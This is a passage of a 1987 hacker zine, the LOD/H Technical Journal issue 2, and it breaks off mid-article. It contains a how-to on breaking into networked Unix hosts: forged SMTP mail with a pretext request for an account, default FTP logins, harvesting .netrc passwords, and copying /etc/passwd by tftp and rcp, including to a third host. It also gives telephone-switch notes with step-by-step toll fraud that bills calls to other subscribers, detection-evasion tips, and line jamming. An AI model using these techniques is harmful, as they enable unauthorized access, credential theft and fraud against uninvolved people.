3779 lines
167 KiB
Plaintext
3779 lines
167 KiB
Plaintext
|
THE
|
|||
|
|
|||
|
LOD/H TECHNICAL JOURNAL
|
|||
|
-----------------------
|
|||
|
|
|||
|
|
|||
|
INTRODUCTION:
|
|||
|
|
|||
|
|
|||
|
|
|||
|
This is issue #2, we had originally planned to put out 6 issues a year,
|
|||
|
but it looks as if this will become a quarterly newsletter instead. This is due
|
|||
|
to the fact that the articles take months to fully research, write, and edit.
|
|||
|
By year end, we hope to show that we are not a "fly-by-night" newsletter and
|
|||
|
will continue to provide you with the same level of information, accuracy, and
|
|||
|
originality as this issue and the first. We appreciate those who have been
|
|||
|
downloading, storing, and distributing the newsletter in its entirety, and hope
|
|||
|
this will continue, as it benefits everyone.
|
|||
|
|
|||
|
|
|||
|
Here is the breakdown of this issue: 1 article on Telecommunications,
|
|||
|
4 articles on Datacommunications, and one article in the 'other' category. Two
|
|||
|
authors have written articles for Issue 1, and 5 are new. Obviously this Issue
|
|||
|
is more hacking related, whereas Issue 1 was more phreaking related. If you
|
|||
|
have any material which may be of interest, let us know.
|
|||
|
|
|||
|
|
|||
|
Our 'sponsor' BBS list has been shortened to one dependable board, as
|
|||
|
Metal Shop Private, Shadowspawn, Hell Prozen Over, The Private Sector and
|
|||
|
Atlantis have all gone down, though some may be back online in the future. Left
|
|||
|
is Digital Logic. The usernumber/usernames for DL follows for those who wish to
|
|||
|
get in contact with us. We are open to suggestions for more Sponsor Boards.
|
|||
|
|
|||
|
Digital Logic: 305-395-6906 New User Pass=DIGIT
|
|||
|
LOD/H Technical Journal Staff Account Number is 231.
|
|||
|
|
|||
|
One last note, a slight clarification on articles. Articles labeled with
|
|||
|
letters, ie: Part A & Part B as in last issue's articles on the Outside Loop
|
|||
|
Distribution Plant by Phucked Agent 04 and the LOH Telenet Directory along with
|
|||
|
this issue's article on Hacking CMS by Lex Luthor are intended to be complete
|
|||
|
articles in themselves and should be merged together. They were broken up for
|
|||
|
editing and transmission purposes. Articles labeled as Part 1 & Part 2, are
|
|||
|
separate articles based on the same subject.
|
|||
|
|
|||
|
-------------------------------------------------------------------------------
|
|||
|
|
|||
|
TABLE OF CONTENTS:
|
|||
|
|
|||
|
01 Introduction to the LOD/H Technical Journal Staff 04 K
|
|||
|
and Table Of Contents for Volume 1, Issue 2
|
|||
|
02 The Networked Unix Solid State 17 K
|
|||
|
|
|||
|
03 Step By Step (SXS) Switching System Notes Phantom Phreaker 12 K
|
|||
|
|
|||
|
04 A Guide to the PRIMOS Operating System Carrier Culprit 25 K
|
|||
|
|
|||
|
05 Identifying and Defeating Physical Security and Lex Luthor 30 K
|
|||
|
Intrusion Detection Systems Part II: The Exterior
|
|||
|
|
|||
|
06 A Discrete Unix Password Hacker Shooting Shark 09 K
|
|||
|
|
|||
|
07 Hacking DEC's TOPS-20: Part II Blue Archer 25 K
|
|||
|
|
|||
|
08 Hacking IBM's VM/CMS Operating System, Part A. Lex Luthor 26 K
|
|||
|
|
|||
|
09 Hacking IBM's VM/CMS Operating System, Part B. Lex Luthor 25 K
|
|||
|
|
|||
|
10 Network News & Notes Staff 07 K
|
|||
|
|
|||
|
Total: 7 articles, 10 files 180 K
|
|||
|
|
|||
|
-------------------------------------------------------------------------------
|
|||
|
The LOD/H Technical Journal: File #2 of 10
|
|||
|
|
|||
|
|
|||
|
----------------------------
|
|||
|
The Networked UNIX
|
|||
|
:TCP-IP
|
|||
|
by:
|
|||
|
SOLID STATE
|
|||
|
June 23 1987
|
|||
|
----------------------------
|
|||
|
|
|||
|
PREFACE
|
|||
|
|
|||
|
I've written this article with the assumption that those reading it have a
|
|||
|
working knowledge of UNIX and large networks, specifically the DARPA Internet
|
|||
|
-- ARPAnet and MILnet. Within I offer guidance on features of the TCP-IP
|
|||
|
(Internet Transmission Control Protocol) architecture, such as FTP, TFTP,
|
|||
|
TELNET, SMTP, and the UNIX Remote Execution Facilities. Before I commence, I
|
|||
|
want to make it known that this file is not intended to be a 'why' file, but
|
|||
|
instead a 'how to' tutorial. In the event I get a good response concerning
|
|||
|
this document, I may later release a more technical oriented paper from a
|
|||
|
programmer's viewpoint.
|
|||
|
|
|||
|
NOTE: Instances where I give examples of a command format, words in capital
|
|||
|
represent variables. For example, in the line '$ telnet HOST', HOST should be
|
|||
|
replaced (in LOWERCASE!) by the name of a system. This is just my means of
|
|||
|
distinguishing between actual commands and their options.
|
|||
|
Control characters are denoted in the form of an exponent, eg. ^H is
|
|||
|
control H.
|
|||
|
|
|||
|
YP DATABASE
|
|||
|
|
|||
|
Present on every UNIX that supports TCP-IP are a set of files labeled by
|
|||
|
programmers as the yellow pages, that serve as a directory of the hosts and
|
|||
|
networks accessible by your system. These files are /etc/hosts and
|
|||
|
/etc/networks respectively. There may also be a third, /etc/hosts.equiv which
|
|||
|
is a listing of those hosts that share resources and/or have users common to
|
|||
|
each other. They are ASCII text and have viewable permissions to all.
|
|||
|
Therefore it may prove helpful to print these out for reference and easy
|
|||
|
access. Entries in the above mentioned take the form:
|
|||
|
|
|||
|
###.###.###.### host.owner.research nicknames
|
|||
|
|
|||
|
Example:
|
|||
|
|
|||
|
18.72.0.39 athena.mit.edu mit-athena athena
|
|||
|
|
|||
|
The string of numbers, expressed in octal "dot notation", is the NetNumber
|
|||
|
of the host. Followed by the complete name, and lastly other names which it is
|
|||
|
universally known as. When attempting to access a system, any one of these
|
|||
|
identification codes may be used.
|
|||
|
NOTE: Most of the databases one will come across are incomplete or may be
|
|||
|
outdated. A complete host list can be obtained from the Network Information
|
|||
|
Control Center (NIC) at SRI International, the host name is sri-nic.arpa
|
|||
|
|
|||
|
TELNET
|
|||
|
|
|||
|
Telnet is the standard facility used for logging into other systems. It is
|
|||
|
found not only on UNIX, but TOPS, VMS, and all the other various operating
|
|||
|
systems found on the DDN. To activate the program:
|
|||
|
|
|||
|
% telnet HOST [PORT]
|
|||
|
|
|||
|
If invoked without arguments, it enters command mode, indicated by the
|
|||
|
prompt 'telnet>' From here, many functions are available.
|
|||
|
|
|||
|
open HOST [PORT]
|
|||
|
Open connection to named computer. If PORT, which shall be explained
|
|||
|
subsequently, is ommitted then telnet will contact the TELNET server of that
|
|||
|
host. As earlier mentioned, systems can be addressed by either their
|
|||
|
NetNumber, NetName, or a nickname.
|
|||
|
|
|||
|
close
|
|||
|
Close connection and return to command mode.
|
|||
|
|
|||
|
quit
|
|||
|
End session and exit program.
|
|||
|
|
|||
|
status
|
|||
|
Show current status of telnet. ie. connections and toggled options.
|
|||
|
|
|||
|
z
|
|||
|
Suspend telnet. This allows you to operate an interactive shell on the
|
|||
|
local machine while pending an open connection to a remote host.
|
|||
|
|
|||
|
? COMMAND
|
|||
|
Get help on COMMAND. Or if COMMAND is ommitted, then a summary of all
|
|||
|
options is printed.
|
|||
|
|
|||
|
Once a connection has been established, telnet enters input mode where you
|
|||
|
can communicate directly with the remote. To return to command mode, enter ^]
|
|||
|
A hacking session might look like:
|
|||
|
|
|||
|
% telnet ucbvax.berkeley.edu
|
|||
|
Trying 10.2.0.78 ...
|
|||
|
Connected to ucbvax.berkeley.edu.
|
|||
|
Escape character is '^]'.
|
|||
|
|
|||
|
4.3 BSD UNIX (ucbvax.Berkeley.EDU)
|
|||
|
|
|||
|
login: example
|
|||
|
Password: ^D
|
|||
|
Connection closed by foreign host.
|
|||
|
%
|
|||
|
|
|||
|
PORTS
|
|||
|
|
|||
|
Each host on the Internet runs various daemons to perform tedious upkeep
|
|||
|
jobs like recording logs, mounting disks and on UNIX, cleaning uucp and /tmp
|
|||
|
files. Along with the 'normal' daemons is one ran to accomodate communication
|
|||
|
between a host and its peers on a network. inetd the managing daemon of system
|
|||
|
to system communication has a number of various services which it regularly
|
|||
|
uses, but they can also be manually addressed via telnet. The notation,
|
|||
|
predisplayed, is simply:
|
|||
|
|
|||
|
% telnet HOST PORT
|
|||
|
|
|||
|
OR
|
|||
|
|
|||
|
telnet> open HOST PORT
|
|||
|
|
|||
|
Now each service has a port number associated with it. The number is
|
|||
|
decimal, in the range 0-1023. A database of all active services is located in
|
|||
|
the ASCII text file /etc/services
|
|||
|
From a hacker's view the following are very helpful in the process of
|
|||
|
penetrating a system:
|
|||
|
|
|||
|
79 Finger server. Connecting to this will give a systat report similar
|
|||
|
to one a user would get if he was on the target system and issued the finger
|
|||
|
command. Once connected to port 79, the host will sit idle until one of two
|
|||
|
things: Either a return is pressed and a general finger will result, or a
|
|||
|
username is entered where personal info will outcome.
|
|||
|
|
|||
|
% telnet psuvax1.psu.edu 79
|
|||
|
Trying 128.118.6.2 ...
|
|||
|
Connected to psuvax1.psu.edu.
|
|||
|
Escape character is '^]'.
|
|||
|
|
|||
|
Login Name TTY Idle When Office
|
|||
|
opr The Operator co Sat 19:02 334 Whitmo x5-9723
|
|||
|
hager William W. Hager d1 Sat 18:50 237-8876
|
|||
|
georg Georg Schnitger 22 1:32 Sat 18:42 315 Whitmo x5-1406
|
|||
|
malik Sohail Malik p0 18 Sat 19:16 214c Compu x5-0816
|
|||
|
Connection closed by foreign host.
|
|||
|
%
|
|||
|
|
|||
|
11 Systat server. This can not be issued to target UNIX systems, but is
|
|||
|
applicable to VMS and TOPS where it returns data like that from finger.
|
|||
|
|
|||
|
25 SMTP server. This is the server used for mail among systems. It is
|
|||
|
also the most vulnerable port to attack as it can be easily fooled. With this
|
|||
|
knowledge the hacker can assume any identity he wishes through mail. For
|
|||
|
example, to send mail to guest@cc3.bbn.com from root@satnet.arpa, under normal
|
|||
|
circumstances one would have to possess the root account wherefrom he would
|
|||
|
just enter:
|
|||
|
|
|||
|
% mail guest@cc3.bbn.com
|
|||
|
|
|||
|
But this is not always feasible or possible! So we must resort to an
|
|||
|
indirect, devious approach..
|
|||
|
|
|||
|
% telnet cc3.bbn.com 25
|
|||
|
Trying 8.3.0.5 ...
|
|||
|
Connected to cc3.bbn.com.
|
|||
|
Escape character is '^]'.
|
|||
|
|
|||
|
220 cc3.bbn.com. Sendmail 3.2/SMI-3.2 ready at Fri, 28 Feb 87 17:40:53 PST
|
|||
|
|
|||
|
rcpt to: guest
|
|||
|
250 guest... Recipient ok
|
|||
|
mail from: root@satnet.arpa
|
|||
|
250 example... Sender ok
|
|||
|
data
|
|||
|
354 Enter mail, end with "." on a line by itself
|
|||
|
|
|||
|
This is an example of the SMTP port.
|
|||
|
.
|
|||
|
250 Mail accepted
|
|||
|
^]
|
|||
|
telnet> c
|
|||
|
Connection closed.
|
|||
|
%
|
|||
|
|
|||
|
To summarize the text above; First, contact the remote at port 25 using
|
|||
|
telnet:
|
|||
|
|
|||
|
% telnet HOST 25
|
|||
|
|
|||
|
After system link authentication, enter:
|
|||
|
|
|||
|
rcpt to: USERNAME
|
|||
|
|
|||
|
Ok? Type in bogus identity:
|
|||
|
|
|||
|
mail from: USERNAME@HOST
|
|||
|
|
|||
|
To start message:
|
|||
|
|
|||
|
data
|
|||
|
|
|||
|
Now, the mail:
|
|||
|
|
|||
|
My organization has of late been discussing an upgrade to a Vax
|
|||
|
processor. The Sun computer we are currently using is immensely slow (and
|
|||
|
getting slower!) due to the demands put on it by the users. If you would allow
|
|||
|
me a demo account on your system so I may view its performance, I would be
|
|||
|
deeply grateful.
|
|||
|
Please respond to me through mail at: bogus!haha!sys1!jeff.
|
|||
|
|
|||
|
A period on a line by itself will complete the transfer:
|
|||
|
|
|||
|
.
|
|||
|
|
|||
|
FTP
|
|||
|
|
|||
|
FTP is a file transfer program that is quite powerful and helpful to the
|
|||
|
hacker in obtaining access to a target. It can be used to send and receive
|
|||
|
data. Similar to telnet, the client with which to communicate can be
|
|||
|
specified when invoked:
|
|||
|
|
|||
|
% ftp -n HOST
|
|||
|
|
|||
|
The -n option I always include as it disables auto-login and net-trace, an
|
|||
|
auto-feature which sends the originator's login and system name. The prompt
|
|||
|
for FTP is 'ftp>'.
|
|||
|
|
|||
|
open HOST
|
|||
|
Establish connection to the named HOST.
|
|||
|
|
|||
|
close
|
|||
|
Terminate connection and return to command interpreter.
|
|||
|
|
|||
|
quit
|
|||
|
Abort program.
|
|||
|
|
|||
|
status
|
|||
|
Show status parameters.
|
|||
|
|
|||
|
! COMMAND
|
|||
|
Run shell command on local machine. Like the 'z' option of telnet, if
|
|||
|
COMMAND is ommitted, than an interactive shell is invoked. ^D will return user
|
|||
|
back to the interpreter.
|
|||
|
|
|||
|
ls
|
|||
|
Print a listing of the directory contents on the remote host in an
|
|||
|
abbreviated form. To do a long listing, enter 'dir'.
|
|||
|
|
|||
|
cd REMOTE_DIRECTORY
|
|||
|
Change the working directory on server.
|
|||
|
|
|||
|
pwd
|
|||
|
Print working directory on remote.
|
|||
|
|
|||
|
lcd DIRECTORY
|
|||
|
Change the working directory on the local machine to DIRECTORY.
|
|||
|
|
|||
|
get REMOTE_FILE LOCAL_FILE
|
|||
|
Receive the REMOTE_FILE on the remote system and name it LOCAL_FILE on the
|
|||
|
local system.
|
|||
|
|
|||
|
send LOCAL_FILE REMOTE_FILE
|
|||
|
Send LOCAL_FILE to the host and name it REMOTE_FILE.
|
|||
|
|
|||
|
append LOCAL_FILE REMOTE_FILE
|
|||
|
Append LOCAL_FILE to the end of the distant file, REMOTE_FILE.
|
|||
|
|
|||
|
rename REMOTE_FILE NEW_REMOTE_FILE
|
|||
|
Give a new name to a remote file.
|
|||
|
|
|||
|
delete REMOTE_FILE
|
|||
|
Kill REMOTE_FILE.
|
|||
|
|
|||
|
Various other commands exist for bulk transfers and directory management.
|
|||
|
If there is any doubt ever on a command, help is always available:
|
|||
|
|
|||
|
ftp> help COMMAND
|
|||
|
|
|||
|
Once a connection has been made, the computer will identify itself and then
|
|||
|
go idle. (That is, if auto-logging is disabled as it should be.) To login to
|
|||
|
the system:
|
|||
|
|
|||
|
ftp> user USERNAME
|
|||
|
|
|||
|
Then if a pass is required, the proper prompt will appear.
|
|||
|
|
|||
|
% ftp -n
|
|||
|
ftp> o ll-xn.arpa
|
|||
|
Connected to LL-XN.ARPA.
|
|||
|
220 ll-xn FTP server (Version 4.103 Wed Jun 25 17:42:33 EDT 1986) ready.
|
|||
|
ftp> user anonymous
|
|||
|
331 Guest login ok, send ident as password.
|
|||
|
Password:
|
|||
|
230 Guest login ok, access restrictions apply.
|
|||
|
ftp>
|
|||
|
|
|||
|
Logging on to a FTP server is different than normally entering a machine.
|
|||
|
When a remote user is operating FTP, the exchange is treated as a process of
|
|||
|
ftp or daemon, not an actual login. Therefore, a different login program,
|
|||
|
which restricts use immensely, is used.
|
|||
|
If set up properly, FTP will chroot to /usr/spool/ftp where three
|
|||
|
directories exist, bin, etc, and pub. Within /usr/spool/ftp/etc is the
|
|||
|
password file used for the FTP server login program. It is not a complete
|
|||
|
version of that in /etc/passwd, but it can be useful by providing usenames.
|
|||
|
Also of mentioning is /etc/ftpusers. This file contains multiple lines
|
|||
|
of usernames is like /usr/lib/cron/cron.deny on a Unix System V. If you are
|
|||
|
unlucky and your username appears in the file, FTP logins are denied.
|
|||
|
A few defaults are present within this doctored version of /etc/passwd that
|
|||
|
most always will provide access to a system.
|
|||
|
|
|||
|
ACCOUNT PASSWORD
|
|||
|
=================================
|
|||
|
anonymous anonymous, guest, ftp
|
|||
|
ftp ftp
|
|||
|
guest guest
|
|||
|
ftpser ftpser
|
|||
|
tftpser tftpser
|
|||
|
help help
|
|||
|
|
|||
|
Each user may have in their home directory a file titled '.netrc'. This is
|
|||
|
a file containing usernames and passwords used on systems that a user commonly
|
|||
|
converses with. Entries in the file take the form:
|
|||
|
|
|||
|
machine HOST login USERNAME password PASSWORD
|
|||
|
|
|||
|
It is advantageous to locate all of these files on your system as they will
|
|||
|
expand not only your systems list, but also your chance of entering a
|
|||
|
computer.
|
|||
|
Once admittance has been gained, I suggest copying the /etc/passwd file for
|
|||
|
later attempts at hacking the front end of the system if other routes such as
|
|||
|
defaults, finger, TFTP (To be explained hereafter.), or by way of the remote
|
|||
|
facilities (Ditto.) are not possible.
|
|||
|
|
|||
|
ftp> get /etc/passwd pass
|
|||
|
200 PORT command okay.
|
|||
|
150 Opening data connection for /etc/passwd (26.8.0.14,1389) (47 bytes).
|
|||
|
226 Transfer complete.
|
|||
|
48 bytes received in 0.32 seconds (0.15 Kbytes/s)
|
|||
|
ftp> close
|
|||
|
221 Goodbye.
|
|||
|
ftp> quit
|
|||
|
%
|
|||
|
|
|||
|
|
|||
|
TFTP
|
|||
|
|
|||
|
The Trivial File Transfer Program is probably the most dangerous aspect of
|
|||
|
the TCP-IP structure on the Internet. TFTP requires no account or password be
|
|||
|
present on a host system. About the only restriction is that the files
|
|||
|
inquired must have public read access permissions set. If not, an
|
|||
|
authorization failure error will result. Also, the TFTP server port must be
|
|||
|
open, otherwise no transmissions can take place.
|
|||
|
|
|||
|
% tftp HOST
|
|||
|
|
|||
|
Once connected, the user will get the 'tftp>' prompt where from he can grab
|
|||
|
or send files.
|
|||
|
|
|||
|
connect HOST
|
|||
|
Set HOST up for transfers. There is no actual connection made in the sense
|
|||
|
that communication has happened, the program merely remembers what host to be
|
|||
|
used in a transfer inquiry. Therefore, there is not a disconnect command.
|
|||
|
|
|||
|
quit
|
|||
|
Exit TFTP.
|
|||
|
|
|||
|
status
|
|||
|
Show current set parameters. ie. HOST and timeout period.
|
|||
|
|
|||
|
get /PATH/FILE /PATH/FILE
|
|||
|
Get /PATH/FILE from HOST and name it /PATH/FILE on local system. If no HOST
|
|||
|
has been specified yet, the form may be 'get HOST:/PATH/FILE /PATH/FILE'.
|
|||
|
|
|||
|
put /PATH/FILE /PATH/FILE
|
|||
|
Send /PATH/FILE on local system to HOST and give it the title /PATH/FILE.
|
|||
|
As above, if HOST has not been specified, the form is 'put /PATH/FILE
|
|||
|
HOST:/PATH/FILE'.
|
|||
|
|
|||
|
timeout SECONDS
|
|||
|
Set timeout parameter. The default is 25, that means abort transmission if
|
|||
|
no response from selected host after set period.
|
|||
|
|
|||
|
? COMMAND
|
|||
|
Help with TFTP.
|
|||
|
|
|||
|
TFTP is the preferred method of file transfer. But is often closed to use
|
|||
|
due to its insecurities. To the hacker though, it is wonderful because data
|
|||
|
captured are genuine, not doctored versions as is the case with FTP. Therefore
|
|||
|
if possible, one will most likely use it to copy /etc/passwd:
|
|||
|
|
|||
|
% tftp mit-amt
|
|||
|
tftp> get /etc/passwd /tmp/passwd
|
|||
|
Received 16453 bytes in 7 seconds.
|
|||
|
tftp> q
|
|||
|
%
|
|||
|
|
|||
|
REMOTE PROCEDURES
|
|||
|
|
|||
|
Additional to the standard features of the TCP setup present on all
|
|||
|
machines of the net, UNIX has a set of it's own remote system interaction
|
|||
|
commands. The set of utilities, which I affectionately call the Remote
|
|||
|
Execution Facilities, are usable only between resource sharing UNIX systems.
|
|||
|
The conglomeration of remote programs can be very helpful for overtaking other
|
|||
|
suspect targets, especially if they are part of a small network unto
|
|||
|
themselves besides being major hosts on the Internet.
|
|||
|
Before one sets out on the quest of conquering a system, it is wise to know
|
|||
|
who is currently logged on:
|
|||
|
|
|||
|
% rusers -l HOST
|
|||
|
|
|||
|
Rusers -l alone will print out a listing for all immediate surrounding UNIX
|
|||
|
hosts, but if a HOST is specified, only that particular computer will report.
|
|||
|
|
|||
|
% rlogin HOST -l USERNAME
|
|||
|
|
|||
|
If -l USERNAME is not included, the account name in use at present time
|
|||
|
will be used as the USERNAME when attempting login to HOST. If the username
|
|||
|
specified is present locally and on the distant machine in the file
|
|||
|
/etc/hosts.equiv, no password is required to login. This can be compromising
|
|||
|
to the security, a reason why the security wise will often make
|
|||
|
/etc/hosts.equiv a null file.
|
|||
|
Each user may optionally have a file, '.rhost', in his home directory. This
|
|||
|
is a personal equivalent to /etc/hosts.equiv. If you are logged into an
|
|||
|
account with such a file, no pass is required to login (via rlogin), to the
|
|||
|
computers named.
|
|||
|
Alike to the UUCP protocol, there is an allowance of the Remote Execution
|
|||
|
Facilities to preform commands on a networked system:
|
|||
|
|
|||
|
% rsh HOST -l USERNAME "COMMAND"
|
|||
|
|
|||
|
Remote shell will permit unlimited commands to be carried out on the remote
|
|||
|
as long as the following criteria is met:
|
|||
|
The username, if specified (If it is not, the current local one is
|
|||
|
used.), must be present on the foreign system and have remote execution
|
|||
|
privileges.
|
|||
|
Commands are effective according to the environment set in .cshrc and
|
|||
|
.login on the host.
|
|||
|
An example job:
|
|||
|
|
|||
|
% rsh century "ps -t console"
|
|||
|
|
|||
|
If the quotes are ommitted then variables like *?.,\ are taken literally.
|
|||
|
Also, if no redirection is submitted, than output, if the command yields it,
|
|||
|
is sent back to the issuee.
|
|||
|
Remote Copy, a sub-command of rsh, is a command similar to uucp. It must
|
|||
|
follow the criteria of Remote Shell plus all files qued must have public read
|
|||
|
permissions.
|
|||
|
|
|||
|
% rcp HOST:/PATH/FILE HOST:/PATH/FILE
|
|||
|
|
|||
|
For example, a common call would be the password file. So if I wanted to
|
|||
|
transfer the /etc/passwd file from harvard.arpa to rutgers:
|
|||
|
|
|||
|
% rcp harvard.arpa:/etc/passwd rutgers:/tmp/passwd
|
|||
|
|
|||
|
This format leaves quite alot of flexibility as it stands third party
|
|||
|
transfers are possible. If the second HOST is not inserted, than the file is
|
|||
|
put on the local system.
|
|||
|
A notable option of rcp is directory copy. It will if specified, copy a
|
|||
|
directory and all the trees beneath it...allowing you to in theory to copy the
|
|||
|
entire file system onto your local host. (uh, oh!)
|
|||
|
|
|||
|
% rcp -d HOST:/PATH/DIRECTORY_NAME HOST:/PATH/DIRECTORY_NAME
|
|||
|
|
|||
|
CONCLUSION
|
|||
|
|
|||
|
In closing I would like to state that I have purposely left much
|
|||
|
information uncovered if I felt it would compromise an institution or company.
|
|||
|
I apoligize for not explaining many of the subjects discussed in the full
|
|||
|
detail they deserve, but if I had this article would have been mammoth.
|
|||
|
Any questions, challenges, comments, or criticism can be directed to me,
|
|||
|
Solid State, through any of a various boards I visit or to an LOD/H Technical
|
|||
|
Journal account of which your mail shall be somehow communicated to me.
|
|||
|
Sys Unix Comm
|
|||
|
STEP BY STEP SWITCHING NOTES
|
|||
|
|
|||
|
BY PHANTOM PHREAKER
|
|||
|
|
|||
|
WRITTEN FOR LOD/H TECHNICAL JOURNAL
|
|||
|
|
|||
|
|
|||
|
The following research was done on a class 5 Step By Step switching system.
|
|||
|
Items mentioned in this article are not guaranteed to work with your particular
|
|||
|
office. The following interesting topics about Step By Step switching are for
|
|||
|
informational and educational purposes only. This article is aimed at people
|
|||
|
who wish to learn more about telephone switching systems.
|
|||
|
|
|||
|
I realize step-by-step switching is dwindling every day, with many
|
|||
|
electromechanical SxS offices being replaced with newer electronic/digital
|
|||
|
switches and Remote Switching Systems (RSS's). However, rural areas of the U.S.
|
|||
|
still use Step, so if you are ever in an area served by a SxS CO you may be
|
|||
|
able to use this information.
|
|||
|
|
|||
|
|
|||
|
1:ANI Failure/ONI
|
|||
|
To understand this technique, you must understand how ANI functions in the
|
|||
|
Step-by-Step switching system. Your CO sends ANI, with your number, in MF or DP
|
|||
|
to receivers that collect the ANI information and store it, along with the
|
|||
|
called number, on the appropriate form of AMA tape. ANI outpulsing in MF can
|
|||
|
use either LAMA (Local Automatic Message Accounting) or CAMA (Centralized
|
|||
|
Automatic Message Accounting). ANI sent in DP type signalling can also be used,
|
|||
|
but is rare. DP vs MF trunk signalling is similar to the difference between
|
|||
|
DTMF and pulse dialing, except on a trunk. DP signalling sends all information
|
|||
|
in short bursts of 2600Hz tones.
|
|||
|
|
|||
|
Causing ANIF's/ONI is an easy task in SxS (and some versions of Xbar),
|
|||
|
because the customer's link to the CO will allow the customer to input MF tones
|
|||
|
to influence a calls completion. This can be done by dialing a long distance
|
|||
|
number and listening to the clicks that follow. After the first click when you
|
|||
|
are done dialing, you will hear a few more. They will be timed very close to
|
|||
|
one another, and the last click occurs right before the called telephone rings.
|
|||
|
The number and speed of the clicks probably varies. Basically what these clicks
|
|||
|
are is the Toll Office that serves your CO setting up a route for your call. In
|
|||
|
order to abuse this knowledge, you need access to a MF source, whether it be a
|
|||
|
blue box, a computer with a good sound chip, tape recording, etc. Right before
|
|||
|
you hear the series of clicks, send one of the following sequences in MF:
|
|||
|
|
|||
|
KP+1 (Repeatedly) For Automatic Number Identification Failure (ANIF)
|
|||
|
|
|||
|
-or-
|
|||
|
|
|||
|
KP+2 (Repeatedly) For Operator Number Identification (ONI)
|
|||
|
|
|||
|
(Note:these will not work if your CO uses DP signalling.)
|
|||
|
|
|||
|
Play these tones into the phone at a sufficient volume so that they 'drown out'
|
|||
|
the series of clicks. Do not send an ST signal, as you are not actually dialing
|
|||
|
on a trunk. You must send these MF sequences quickly for this method to work
|
|||
|
correctly. After you have played your 'routing' a few times, you will hear a
|
|||
|
TSPS operator intercept your call and ask for the number you are calling FROM.
|
|||
|
When an ANIF is recognized, the call is cut through to a TSPS site that serves
|
|||
|
your area. Now, you can give the operator any number in your exchange and she
|
|||
|
will enter the billing information manually, and put the call through. The toll
|
|||
|
charges will appear on the customer who owns the number you gave. You can also
|
|||
|
accomplish a similar feat by merely flashing the switchook during the series of
|
|||
|
clicks. This will send DC pulses that scramble the ANI outpulsing and cause
|
|||
|
your call to be sent to a TSPS operator before the dialed number. Be sure to
|
|||
|
stop sending the MF 'routing' after the operator attaches or she may know that
|
|||
|
something's up. Use this method sparingly and with caution. It would also be a
|
|||
|
good idea not to use the same number for billing more than one time. Don't use
|
|||
|
this method in excess, because a toll office report will list the number of ANI
|
|||
|
failures for a specific time period. The ONI method works better because it is
|
|||
|
assumed ONI is needed to identify a caller's DN upon a multi-party line. Too
|
|||
|
many ANI failures will generate a report upon a security/maintenance TTY, so if
|
|||
|
you plan on using this method, use the ONI method instead of just ANI Failure.
|
|||
|
The basic idea behind the ANIF is to scramble your ANI information by using MF
|
|||
|
(or the switchhook) to send your LD call to a TSPS operator for Operator Number
|
|||
|
Identification (ONI) due to ANI Failure. The idea behind the ONI method is that
|
|||
|
you are fooling the switch into thinking you are calling from a multi-party
|
|||
|
line and ONI is needed to identify your DN.
|
|||
|
|
|||
|
|
|||
|
2:Test numbers
|
|||
|
|
|||
|
Some other interesting things in the Step By Step system can be found by
|
|||
|
dialing test numbers. Test numbers in SxS switching systems are usually hidden
|
|||
|
in the XX99 area, as opposed to 99XX, which is common for other types of
|
|||
|
switching systems. These types of numbers are possibly physical limitations of
|
|||
|
a SxS switch, and thus a milliwatt tone or other test numbers will be placed
|
|||
|
there, because a normal DN can't be assigned such a number. However, these XX99
|
|||
|
numbers are usually listed in COSMOS as test numbers. Another interesting note
|
|||
|
about XX99 numbers is that they seem (at least in some offices) to be on the
|
|||
|
same circuit. (That is, if one person calls an XX99 number and receives a test
|
|||
|
tone, and another person calls any other XX99 number in that same prefix, the
|
|||
|
second caller will receive a busy signal).
|
|||
|
|
|||
|
Here we must examine the last four digits of a telephone number in detail.
|
|||
|
|
|||
|
|
|||
|
XXXX=WXYZ W=Thousands digit
|
|||
|
X=Hundreds digit
|
|||
|
Y=Tens digit
|
|||
|
Z=Units digit
|
|||
|
|
|||
|
|
|||
|
Dialing your prefix followed by an XX99 may result in a busy signal test
|
|||
|
number, a network overflow (reorder), milliwatt tones, or other type of error
|
|||
|
messages encountered when dialing.
|
|||
|
|
|||
|
Not every XX99 number is a test number, but many are. Try looking for these
|
|||
|
in a known Step by Step office.
|
|||
|
|
|||
|
The numbers that return a busy signal are the ones that incoming callers
|
|||
|
are connected to when the Sleeve lead of the called Directory Number is in a
|
|||
|
voltage present state, which means the line is in use or off-hook. More about
|
|||
|
this in the next topic.
|
|||
|
|
|||
|
|
|||
|
3:Busy signal conferencing
|
|||
|
|
|||
|
Another interesting feature of the Step-By-Step system is the way busy
|
|||
|
tones (60 IPM) are generated. In ESS and DMS central offices, busy signals that
|
|||
|
are sent by the terminating switch are computer generated and sound very even
|
|||
|
and clear with no signal irregularity. In SxS, all calls to a particular DN are
|
|||
|
sent to the same busy signal termination number, which can be reached most of
|
|||
|
the time by a POTS number. These busy tones are not computer generated and the
|
|||
|
voice path is not cut-off.
|
|||
|
|
|||
|
You can take advantage of this and possibly have a 'busy signal conference'.
|
|||
|
This can be achieved by having several people dial the same busy DN that is
|
|||
|
served by a Step office, or by dialing an always-busy termination number. When
|
|||
|
you are connected to the busy signal, you will also be able to hear anyone else
|
|||
|
who has dialed the same busy number. Connection quality is very poor however,
|
|||
|
so this is not a good way to communicate.
|
|||
|
As an added bonus, answering supervision is not returned on busy numbers,
|
|||
|
and thus the call will be toll-free for all parties involved. However, you must
|
|||
|
be using AT&T as your inter-LATA carrier if the call to the busy number is an
|
|||
|
inter-LATA call for you. So if your IC is US Sprint, you must first dial the
|
|||
|
AT&T Carrier Access Code (10ATT) before the busy number. If your IC doesn't
|
|||
|
detect answer supervision, and begins billing immediately or after a certain
|
|||
|
amount of time, then you will be billed for the length of the call.
|
|||
|
|
|||
|
|
|||
|
4:Temporarily 'freezing' a line
|
|||
|
|
|||
|
A SxS switching system that operates on the direct control principle is
|
|||
|
controlled directly by what the subscriber dials. Jamming a line on SxS to
|
|||
|
prevent service is possible by simply flashing the switchook a number of times.
|
|||
|
Or you may find after several aborted dialing attempts, the line will freeze
|
|||
|
until it is reset, either manually or by some time-out mechanism. Usually the
|
|||
|
time the line is out of action is only a few minutes. The line will return a
|
|||
|
busy signal to all callers, and the subscriber who has a 'dead' phone will not
|
|||
|
even hear sidetone. This happens when one of the elements in the switch train
|
|||
|
gets jammed. The switch train consists of the linefinder, which sends a dial
|
|||
|
tone to the subscriber who lifted his telephone, and places voltage on the S
|
|||
|
(Sleeve) lead as to mark that given DN as busy. Next in the switch train are
|
|||
|
the selectors. The selectors are what receive the digits you dial and move
|
|||
|
accordingly. The last step in the switch train is the connector. The connector
|
|||
|
is what connects calls that are intraoffice, and sends calls to a Toll office
|
